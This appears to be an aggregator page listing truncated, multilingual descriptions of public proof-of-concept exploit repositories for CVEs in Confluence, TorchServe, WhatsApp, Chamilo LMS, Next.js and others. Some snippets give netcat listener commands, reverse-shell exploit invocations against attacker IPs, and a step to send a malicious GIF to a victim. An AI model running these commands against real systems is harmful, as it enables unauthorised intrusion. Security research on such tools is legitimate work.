cve-2022-26134

Atlassian Confluence OGNL 인젝션 PoC 취약점 CVE-2022-26134 임의 코드 실행 사용법: pip3 install termcolor python3 exploit.py http://example.com 문서 : https://blog.qualys.com/vulnerabilities-threat-research/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnerability-cve-2022-26134 후원하기 :...

CVE-2023-43654

CVE-2023-43654 ShellTorch 是 PyTorch TorchServe（PyTorch 默认推理服务器）中一系列3个严重漏洞的攻击链。 这是一个端到端 POC，针对一个 SSRF 漏洞，该漏洞可导致从网络发起 任意远程代码执行 1. 运行 TorchServe 0.8.1 root@kitploit: docker run -d --rm -it -p 8080:8080 -p 8081:8081 -p 8082:8082 -p 7070:7070 -p 7071:7071 --name shelltorch-demo...

CVE-2019-11932

CVE-2019-11932 WhatsApp 中双重释放漏洞的利用 poc. 注意：请确保在 exploit.c 中设置监听 IP 以便获取 shell nc -lvp 5555 或任意端口. 然后编译. gcc -o exploit egiflib.c exploit.c 然后运行 ./exploit 并将内容保存到 .gif 并发送给受害者. 来源 https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/. PocVideo...

CVE-2023-43208

CVE-2023-43208 Mirth Connect 远程代码执行概念验证 针对 Mirth Connect 中 CVE-2023-43208 的概念验证 Python 脚本。 免责声明 仅限在您拥有或明确授权测试的环境中使用。此仓库用于安全研究、验证和防御性测试。作者不对因使用此工具造成的任何误用或损害承担责任。 概述 exp.py 是 PoC 的一个最小依赖版本，它能够： 检测目标是否看起来是 Mirth Connect 实例 通过 /api/server/version 请求 Mirth Connect 版本 检查版本是否低于 4.4.1 如果目标看似存在漏洞，则向...

CVE-2023-422-Chamilo-LMS-RCE

先决条件 root@kitploit: pip install requests 信息 该Python脚本利用漏洞CVE-2023-422将文件上传到服务器，并使用该文件向netcat监听器发送反弹shell，整个过程无需身份验证。然而，你需要按照以下步骤来成功使用该Python脚本。 启动netcat监听器： root@kitploit: nc -lnvp 4444 执行Python脚本（示例）： root@kitploit: python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"...

Win32_Offensive_Cheatsheet

Cheatsheet Ofensivo de Win32 Técnicas de abuso de Win32 y Kernel para pentesters y red-teamers creadas por @UVision y @RistBS Modo dev activado, abierto a cualquier ayuda : Documentación de binarios de Windows Estructura del PE Cabeceras PE Análisis del PE Tabla de Direcciones de Exportación EAT...

CVE-2023-35085-POC-EXP

PS：所有脚本均由 Gemini 2.5 pro 和 CLaude 3.7 实现。它可能无法正常工作，因为我不知道如何使用 "/mifs/rest/api/v2/command/exec" 这个 API，和那些 AI 一样，它们假装自己非常了解它。...

CVE-2023-4220

CVE-2023-4220 利用 Chamilo LMS 未经身份验证的大文件上传远程代码执行 用法 cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 Payload: 1 ==...

shannon

!NOTE Shannon 2.0 is officially here Shannon is an autonomous, AI pentester for web applications and APIs. It analyzes your source code, identifies attack paths, and executes real exploits to prove vulnerabilities before they reach production. This repository is Shannon Open Source: the full agen...

CVE-2026-15409

🚀 CVE-2026-15409 – RCE en Erlang en SonicWall SMA 1000 a través del proxy WebSocket Exploit de prueba de concepto para CVE-2026-15409 – ejecución remota de código no autenticada en los dispositivos de la serie SonicWall SMA 1000 a través del protocolo de distribución de Erlang tunelizado sobre...

CVE-2026-3891

🚀 CVE-2026-3891 – Subida de Archivos no Autenticada con RCE en Pix for WooCommerce Exploit de prueba de concepto para CVE-2026-3891 – subida arbitraria de archivos no autenticada que conduce a la ejecución remota de código en el plugin de WordPress Pix for WooCommerce ≤ 1.5.0. 📖 Resumen...

CVE-2023-0669-Analysis

CVE-2023-0669 这个仓库包含了本次分析所使用的包和脚本 https://www.vicarius.io/vsociety/blog/unauthenticated-rce-in-goanywhere GoAnywhere for Linux 的漏洞版本 https://www.dropbox.com/s/j31l8lgvapbopy3/ga703linuxx64.sh?dl=0...

CVE-2022-29078

CVE-2022-29078 漏洞 ejs 3.1.6 docker 设置 root@kitploit: git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs 使用 root@kitploit: http://127.0.0.1:49160/ 漏洞利用 在浏览器中 root@kitploit:...

React2Shell

React2Shell – Advanced Discovery & Exploitation Framework An advanced React Server Components RSC vulnerability scanner and exploiter for CVE-2025-55182 and CVE-2025-66478 affecting Next.js applications. This tool expands upon the original React2Shell research and proof-of-concept by introducing...

CVE-2026-48282

CVE-2026-48282-POC CVE-2026-48282 es una vulnerabilidad de path traversal en el Remote Development Service RDS de Adobe ColdFusion con una puntuación CVSS de 10.0 Crítica. Permite a atacantes no autenticados leer y escribir archivos arbitrarios a través del endpoint /CFIDE/main/ide.cfm, lo que...

CVE-2023-36884-MS-Office-HTML-RCE

CVE-2023-36884: RCE en MS Office HTML con documentos manipulados El 11 de julio de 2023, Microsoft publicó un parche destinado a abordar múltiples vulnerabilidades de ejecución remota de código RCE explotadas activamente. Esta acción también sacó a la luz una campaña de phishing orquestada por un...

CVE-2024-25600

TG Junte-se a nós https://t.me/WanLiChangWanLiChang Junte-se a nós para receber regularmente vários EXP POC de vulnerabilidades CVE-2024-25600 Exploit O plugin Bricks Builder do WordPress tem uma vulnerabilidade RCE CVE-2024-25600 Script de exploração EXP para vulnerabilidade RCE CVE-2024-25600 n...

CVE-2025-55182-React2Shell

React2Shell React2Shell es una prueba de concepto PoC de explotación que demuestra una vulnerabilidad CRÍTICA de ejecución remota de código RCE en marcos web modernos que usan React Server Components RSC. Esta PoC ataca CVE-2025-55182 , una vulnerabilidad con CVSS 10.0 que permite a ejecutar...

CVE-2024-53677-S2-067

🚨🚨 CVE-2024-53677-S2-067🚨🚨 Aviso de Segurança: CVE-2024-53677 – Vulnerabilidade Crítica de Execução Remota de Código no Apache Struts Data do Aviso: 14 de dezembro de 2024 ID do CVE: CVE-2024-53677 Pontuação CVSS: 9.5 Crítico Visão Geral Uma vulnerabilidade crítica, CVE-2024-53677, foi identifica...

Samba-CVE-2007-2447-Exploit

Exploit do Samba CVE-2007-2447 Este é um script em Python para explorar o CVE-2007-2447, uma vulnerabilidade conhecida como execução de comandos via script de mapa 'Username' no servidor Samba. Descrição Este exploit foi desenvolvido para atingir versões do Samba 3.x - 4.x. O CVE-2007-2447 permit...